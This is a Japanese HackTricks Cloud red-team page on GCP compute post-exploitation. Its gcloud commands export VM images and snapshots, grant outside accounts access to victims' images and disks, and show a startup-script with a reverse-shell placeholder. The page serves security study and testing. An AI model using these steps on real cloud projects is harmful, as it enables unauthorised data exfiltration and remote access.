GCP - コンピュート ポストエクスプロイテーション
Reading time: 7 minutes
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
コンピュート
Compute と VPC (ネットワーキング) に関する詳細情報は、以下を確認してください:
画像をローカルにエクスポートおよび検査する
これにより、攻撃者は既存の画像に含まれるデータにアクセスしたり、実行中の VM の新しい画像を作成して、そのデータにアクセスすることができます。実行中の VM にアクセスすることなく。
VM 画像をバケットにエクスポートし、その後ダウンロードしてローカルにマウントすることが可能です。
gcloud compute images export --destination-uri gs://<bucket-name>/image.vmdk --image imagetest --export-format vmdk
# The download the export from the bucket and mount it locally
このアクションを実行するには、攻撃者はストレージバケットに対する権限が必要であり、確実にcloudbuildに対する権限が必要です。これはサービスであり、エクスポートを実行するように求められます。
さらに、これが機能するためには、codebuild SAとcompute SAが特権的な権限を持っている必要があります。
cloudbuild SA <project-id>@cloudbuild.gserviceaccount.com
は以下の権限が必要です:
- roles/iam.serviceAccountTokenCreator
- roles/compute.admin
- roles/iam.serviceAccountUser
そして、SA <project-id>-compute@developer.gserviceaccount.com
は以下の権限が必要です:
- roles/compute.storageAdmin
- roles/storage.objectAdmin
スナップショットとディスクをローカルにエクスポートおよび検査する
スナップショットとディスクを直接エクスポートすることはできませんが、スナップショットをディスクに変換し、ディスクをイメージに変換することが可能であり、前のセクションに従って、そのイメージをエクスポートしてローカルで検査することができます。
# Create a Disk from a snapshot
gcloud compute disks create [NEW_DISK_NAME] --source-snapshot=[SNAPSHOT_NAME] --zone=[ZONE]
# Create an image from a disk
gcloud compute images create [IMAGE_NAME] --source-disk=[NEW_DISK_NAME] --source-disk-zone=[ZONE]
VMを作成して画像を検査する
攻撃者が画像を作成した場所から画像に保存されたデータや実行中のVMにアクセスすることを目的として、外部アカウントに画像へのアクセスを付与することが可能です:
gcloud projects add-iam-policy-binding [SOURCE_PROJECT_ID] \
--member='serviceAccount:[TARGET_PROJECT_SERVICE_ACCOUNT]' \
--role='roles/compute.imageUser'
それから、それを元に新しいVMを作成します:
gcloud compute instances create [INSTANCE_NAME] \
--project=[TARGET_PROJECT_ID] \
--zone=[ZONE] \
--image=projects/[SOURCE_PROJECT_ID]/global/images/[IMAGE_NAME]
外部アカウントに画像を介してアクセスを許可できない場合、被害者のプロジェクトでその画像を使用してVMを起動し、メタデータにリバースシェルを実行させることで、パラメータを追加して画像にアクセスできます。
--metadata startup-script='#! /bin/bash
echo "hello"; <reverse shell>'
スナップショット/ディスクをVMにアタッチして検査する
ディスクまたはスナップショットに保存されたデータにアクセスすることを目的として、スナップショットをディスクに変換し、ディスクをイメージに変換し、前の手順に従うことができます。
または、外部アカウントにディスクへのアクセスを付与することができます(出発点がスナップショットの場合は、スナップショットへのアクセスを付与するか、そこからディスクを作成します):
gcloud projects add-iam-policy-binding [PROJECT_ID] \
--member='user:[USER_EMAIL]' \
--role='roles/compute.storageAdmin'
インスタンスにディスクをアタッチする:
gcloud compute instances attach-disk [INSTANCE_NAME] \
--disk [DISK_NAME] \
--zone [ZONE]
VM内にディスクをマウントします:
- VMにSSH接続:
gcloud compute ssh [INSTANCE_NAME] --zone [ZONE]
- ディスクを特定:VM内に入ったら、ディスクデバイスをリストして新しいディスクを特定します。通常、
/dev/sdb
、/dev/sdc
などとして見つけることができます。 - ディスクをフォーマットしてマウント(新しいまたは生のディスクの場合):
- マウントポイントを作成:
sudo mkdir -p /mnt/disks/[MOUNT_DIR]
- ディスクをマウント:
sudo mount -o discard,defaults /dev/[DISK_DEVICE] /mnt/disks/[MOUNT_DIR]
外部プロジェクトにスナップショットまたはディスクへのアクセスを与えることができない場合、スナップショット/ディスクと同じプロジェクト内のインスタンスでこれらのアクションを実行する必要があるかもしれません。
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。